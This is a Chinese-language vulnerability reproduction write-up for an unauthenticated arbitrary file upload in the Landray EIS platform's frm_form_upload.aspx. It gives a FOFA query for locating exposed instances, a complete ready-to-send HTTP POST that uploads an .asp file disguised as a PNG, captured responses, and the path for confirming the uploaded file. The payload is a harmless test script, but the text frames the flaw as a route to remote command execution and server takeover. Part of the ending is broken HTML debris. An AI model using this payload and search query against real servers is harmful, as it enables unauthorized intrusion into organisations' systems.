

L1-3蓝凌-EIS智慧协同平台-文件上传

漏洞描述：

蓝凌EIS智慧协同平台 frm_form_upload.aspx接口处存在任意[文件上传漏洞](#)，未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件，远程命令执行，获取服务器权限。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：



网络测绘：

fofa语法：

FOFA: app="Landray-EIS智慧协同平台"

漏洞复现：

payload:

```
POST /frm/frm_form_upload.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ASP.NET_SessionId=fqq0ks45w4yqpev52l3adnet; FIOA_IMG_FOLDER=FI; Lang=zh-cn
Content-Type: multipart/form-data; boundary=-----zbm72vc8hf9uqmb5f6yr
Upgrade-Insecure-Requests: 1

-----zbm72vc8hf9uqmb5f6yr
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUKMTgyMDI2MjI1NQ9kFgJmD2QWAgIBDw8WAh4EVGV4dAUG5L+d5a2YZGRk0b9dFZuWb1LyitK8Fh6njh8H4xA=
-----zbm72vc8hf9uqmb5f6yr
Content-Disposition: form-data; name="__EVENTTARGET"

GB_SAVE
-----zbm72vc8hf9uqmb5f6yr
Content-Disposition: form-data; name="__EVENTARGUMENT"

保存
-----zbm72vc8hf9uqmb5f6yr
Content-Disposition: form-data; name="tpfile"; filename="qwe.asp"
Content-Type: image/png

<% Response.Write("Hello, World") %>
-----zbm72vc8hf9uqmb5f6yr--
```

效果图:

Request

```
1 POST /frm/frm_form_upload.aspx HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Connection: close
8 Cookie: ASP.NET_SessionId=fqq0ks45w4yqpev52l3adnet; FIOA_IMG_FOLDER=FI; Lang=zh-cn
9 Content-Type: multipart/form-data; boundary=-----zbm72vc8hf9uqmb5f6yr
10 Upgrade-Insecure-Requests: 1
11
12 -----zbm72vc8hf9uqmb5f6yr
13 Content-Disposition: form-data; name="__VIEWSTATE"
14
15 /wEPDwUKMTgyMDI2MjI1NQ9kFgJmD2QWAgIBDw8WAh4EVGV4dAUG5L+d5a2YZGRk0b9dFZuWb1LyitK8Fh6njh8H4xA=
16 -----zbm72vc8hf9uqmb5f6yr
17 Content-Disposition: form-data; name="__EVENTTARGET"
18
19 GB_SAVE
20 -----zbm72vc8hf9uqmb5f6yr
21 Content-Disposition: form-data; name="__EVENTARGUMENT"
22
23 保存
24 -----zbm72vc8hf9uqmb5f6yr
25 Content-Disposition: form-data; name="tpfile"; filename="qwe.asp"
26 Content-Type: image/png
27
```

Responses 3728bytes / 301ms

```
74 .....
75 .....</TD>
76 .....
77 .....</tr>
78 ✓ .....<tr height="50%">
79 .....<td colspan="2"></td>
80 .....</tr>
81 .....</table>
82 .....
83 ✓ <script type="text/javascript">
84 //
85 var theForm = document.forms['Form1'];
86 if (!theForm) {
87     theForm = document.Form1;
88 }
89 function __doPostBack(eventTarget, eventAr
90     if (!theForm.onsubmit || (theForm.onsu
91         theForm.__EVENTTARGET.value = ever
92         theForm.__EVENTARGUMENT.value = ev
93         theForm.submit();
94     }
95 }
96 //]]&gt;
97 &lt;/script&gt;
98</pre></div></div></div><div data-bbox="77 760 108 769" data-label="Text"><p>验证url</p></div><div data-bbox="77 775 196 784" data-label="Text"><p>/frm/frm_pics/回显的文件名</p></div><div data-bbox="77 789 518 802" data-label="Text"><p>38/frm/frm_pics/20240112185654.asp</p></div><div data-bbox="83 814 158 826" data-label="Text"><p>Hello, World</p></div>
```